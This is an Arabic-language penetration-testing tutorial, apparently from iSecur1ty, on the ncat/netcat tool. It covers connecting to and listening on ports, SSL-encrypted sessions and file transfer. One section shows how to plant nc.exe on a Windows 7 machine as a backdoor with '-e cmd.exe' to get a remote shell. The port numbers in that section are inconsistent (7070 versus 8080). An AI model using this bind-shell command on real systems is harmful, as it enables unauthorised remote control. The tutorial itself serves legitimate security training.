كُمختبر إختراق يجب عليك أن تكون مُتمارس في إستخدام العديد من الأدوات مع فهم ألية عملها بشكل سليم ، وهذا ما نحاول أن نقوم بفعله داخل iSecur1ty من خلال العديد من المقالات والفيديوهات التي تختص بشكل كامل بشرح الأداة والمفهوم الخاص بها بالشكل المطلوب.

في مقال اليوم بإذن الله سوف نتكلم عن أداة ncat وهي إصدار مطور ومُحدث من الأداة “nc” الأصلية ، هذه الأداة من أكثر الأدوات شُهره مجال إختبار الإختراق ولها العديد والعديد من الإستخدامات التي تُساعد مُختبر الإختراق بشكل كامل ومُباشر على إتمام الكثير من العمليات كنقل الملفات عبر الشبكة ، التواصل مع الأجهزة بشكل مُباشر ، تنفيذ أوامر عن بعد على بعض الأجهزة والعديد لذلك سمُيت بـ “the swiss army knife” أي سكين الجيش السويسري لأنها تُشبه هذه السكين مُتعددة الإستخدامات 😀

SAK

قبل أن نبدأ تأكد أنك قُمت بتنصيب النسخة المُحدثة من ncat والتي تجد وصف كامل عنها من خلال هذا الرابط.

أحببت أن أقوم بشرح الإصدار المُطور لما فيه من خواص جديدة و

سوف نبدأ بالتحقق من إصدار الأداة ، ولكن قبل ذلك يجب علينا أن نفهم أن هنالك العديد من الأوامر كما ذكرت مُسبقاً لهذه الأداة وسوف نقوم هُنا بذكر بعض السيناريوهات الحقيقية المُستخدمة في الشبكة في عملية نقل الملفات وتنفيذ الأوامر على سبيل المثال ، وهذه نتيجة تنفيذ الأمر المُخصص لإستخراج إصدار الأداة :

Ncat-version

وكما نرى أنه فور إستخدام الأمر :

ncat -v

تم طباعة إصدار البرنامج وهو 6.40 وأيضاً تم طباعة الرابط الخاص بالأداة والذي تم ذكره مُسبقاً.

الأن دعونا نستعرض سريعاً الخيارات الخاصة بالبرنامج ، وهذا يتم من خلال تطبيق الأمر :

ncat -h

وسوف تكون نتيجة تنفيذ هذا الأمر كالتالي :

Ncat-help1

Nc-help2

كما نرى هُنالك العديد والعديد من الخيارات التي يُمكن إستخدامها ، وفي هذا المقال سوف نذكر بعض السيناريوهات الرئيسية والأمور التي من المُمكن أن نقوم بتنفيذها مثل :

  1. التوصل بالأجهزة بإستخدام ncat.
  2. عمل listening على منفذ مُعين.
  3. تشفير الإتصال بإستخدام ncat.
  4. إستخدام ncat كـ Backdoor لتنفيذ الأوامر.
  5. نقل الملفات من خلال ncat.

والأن سوف نبدأ بتنفيذ هذه السيناريوهات بشكل مُنتظم ونبدأ بالسيناريو الأول.

التوصل بالأجهزة بإستخدام ncat :

يُعتبر التوصل بالأجهزة ومُخاطبتها بإستخدام ncat سهل جداً ومن الأمور البسيطة والتي لا تحتاج أي أوامر معقدة ، فقط عليك تمرير host and port المُراد التوصل بهما وسوف تتم العملية بسهولة ودون مشاكل ، بالطبع يمكنك الإستعانة ببعض الخواص كإظهار النتائج التي تتم من خلال التواصل أو تشفير الإتصال وسوف نأتي لكل واحده على حدى بإذن الله ، الأن سوف نستخدم الأمر التالي للتوصل بهدف مُعين :

natc host port -v

Ncat-connection-open

كما نرى تم التوصل بالهدف دون مشاكل وعلى المنفذ 80 وهذا يُثبت أن المنفذ مفتوح ، طبعاً إستخدمنا الخيار -v وهو إختصار لـ verbose ويُستخدم لإظهار نتيجة العملية ، ويُمكنك إستخدام -vv لإظهار النتائج بشكل مُفصل أكثر.

وهذه تكون النتيجة في حال كان المنفذ مُغلق :

Ncat-connection-Closed

كما نرى أن المنفذ مُغلق من خلال إستجابة البرنامج بـ Connection refused.

عمل listening على منفذ مُعين :

من الأمور التي نستطيع تنفيذها من خلال ncat هو عمل listening أو ما يُعرف بالإستماع إلى منفذ معين لإستقبال الإتصال من خلاله ، وهذا بالطبع من الأمور الضروري تنفيذها في حال كُنا نقوم بتنفيذ إتصال بين جهازين من خلال ncat ، حيث أن الجهاز الأول يجب أن يقوم بإنتظار الإتصال على منفذ مُعين لكي يقوم الجهاز الثاني بتنفيذ الإتصال والتواصل معه بشكل مُباشر ، لذلك هذه العملية بسيطة جداً ونستطيع تنفيذها من خلال ncat بإستخدام الامر :

ncat -l -p port -v

حيث أن الخيار -l لكي نُخبر ncat بأننا نُريده في وضع الإستماع ، والخيار -p لكي نُحدد منفذ مُعين وسوف تكون النتيجة كما التالي :

Ncat-listen-to-port

كما نرى بأن ncat قامت ببدأ التنصت “الإستماع” إلى المنفذ 7070 وهي جاهزة الأن لإستقبال الإتصال من خلاله ، ويُمكنكم تنفيذ الأمر الأول الخاص بالتوصل بهدف مُعين للتوصل بهذا المنفذ.

قمت بإستخدام Localhost للأغراض التعليمية فقط ، تستطيعون عمل Listen على أي جهاز على الشبكة والتوصل به.

تشفير الإتصال بإستخدام ncat :

في حال مثلاً قمنا بالتوصل بالهدف السابق وقمنا بإرسال معلومات مُعينة من خلاله ، فإنه بالحالة الطبيعية لا يتم تشفير البيانات أثناء نقلها ، مما قد يُسبب لنا العديد من المشاكل في حال تم إعتراض هذا الإتصال ومعرفة المعلومات الحقيقية التي يتم إرساله ، ولكن ncat توفر لنا خاصية تشفير هذه البيانات التي يتم إرساله بكل سهولة من خلال ssl ، حيث نستطيع الأن نقل المعلومات بكل سهولة بين جهازين بشكل مُشفر ونستطيع تنفيذ تشفير الإتصال بكل بساطة من خلال الأمر :

ncat -l -p port -v -ssl

هذا بالنسبة للجهاز الأول وهو الذي نُريد التوصل به ولنتفرض بأنه الـ “Server” ، وعلى الجهاز الثاني ولنتفرض بأنه الـ “Client” سوف نقوم بتنفيذ هذا الأمر :

ncat host port -v -ssl

حيث أن الأمرين السابقين من خلالهما نستطيع التواصل بإستخدام ssl وهذه الصور تُوضح المفهوم التي تحدثنا عنه :

Ncat-SSL

نرى بالقسم الأعلى من الصورة أننا قُمنا بتنفيذ الأمر الأول والخاص باستقبال الإتصال على المنفذ 7070 ، وبالجزء الأسفل قمنا بعمل الإتصال وتم الإتصال بنجاح وأرسلنا النص “Hi This is My Text”.

كتمرين لكم ولتمكين الفكرة بشكل أكبر أتمنى منكم مُقارنة الإتصال المُشفر مع غير المُشفر من خلال Wireshark ومُشاركتنا النتيجة 😉

إستخدام ncat كـ Backdoor لتنفيذ الأوامر : 

من أحد الإستخدامات الرائعة لأداة Ncat بأننا نستطيع إستخدامها كـ Backdoor نستطيع من خلاله تنفيذ الأوامر على جهاز ما في حال كُنا نصبنا عليه ncat من قبل ، وهذه العملية مُفيدة في مرحلة الـ Post exploitation ، حيث نستطيع إستخدامها لتمكين الإتصال مع الهدف ، وسوف نقوم بشرح العملية على جهاز windows7 حيث سوف نقوم بتشغيل ملف nc.exe كـ “Agent” على جهاز windows7 ونقوم بالتنصت على منفذ مُعين مع إستخدام الأمر -e الخاص بتمرير الإتصال عبر أمر مُعين ، وفي حالتنا سوف يكون cmd.exe وهو الـ command line الخاص بنظام windows ، وسوف يكون الأمر المُنفذ على جهاز windows7 كالتالي :

nc.exe -l -p 7070 -e cmd.exe

وهذه الصورة توضح نتيجة تنفيذ الأمر :

windows-nc-agent

وعلى جهاز المُهاجم “client” سوف نقوم بالتوصل بشكل طبيعي بالمنفذ 8080 والذي سوف ينتج عن التالي :

Ncat-attacker-done

كما نرى تم التوصل بالهدف دون أي مشاكل ، وحصلنا على remote shell بإستخدام netcat فقط بين الجهازين.

نقل الملفات من خلال ncat : 

من الأمور الجيدة التي نستطيع تنفيذها من خلال ncat هي نقل الملفات بين جهازين ، سوف نقوم الأن بمحاولة نقل ملف من جهاز Windows7 إلى جهاز Linux بإستخدام nc.exe الموجوده على Windows7 وإستخدام ncat الموجوده على Linux ، حيث أن الأوامر سوف تكون كالتالي :

بالنسبة لجهاز Linux والذي يمُثل الجهاز الذي سوف يتم إستقبال الملف عليه :

ncat -l -p port > file_output.txt

Linux-file-transfer

بالنسبة لجهاز Windows7 والذي يمُثل الجهاز الذي سوف يتم إرسال الملف منه :

nc.exe host port < file.txt

windows7-file-transfer

كما نرى أنه يتم نقل الملف a.txt والذي يحتوي على النص الظاهر بالشاشة إلى الجهاز الخاص بنا والذي يُسمى file_output.txt ، وبعد إستقال الملف و إستعراضه سوف نرى أن النتيجة كالتالي :

Nc-Linux-tranfer

Nc-Transfer-Result

كما نرى بأنها نفس النتيجة بالملفين الذي تم إرساله وإستقباله.

نستطيع بالطبع القيام بالعديد من الأمور الأخرى بإستخدام ncat ولكن أحببت أن أريكم بعض الأمور التي نستطيع القيام بها لتسهيل عملية التواصل مع الأجهزة في عملية إختبار الإختراق.

أتمنى أن يكون هذا المقال قد نال إعجابكم ونلتقي بمقالات قادمة بإذن الله.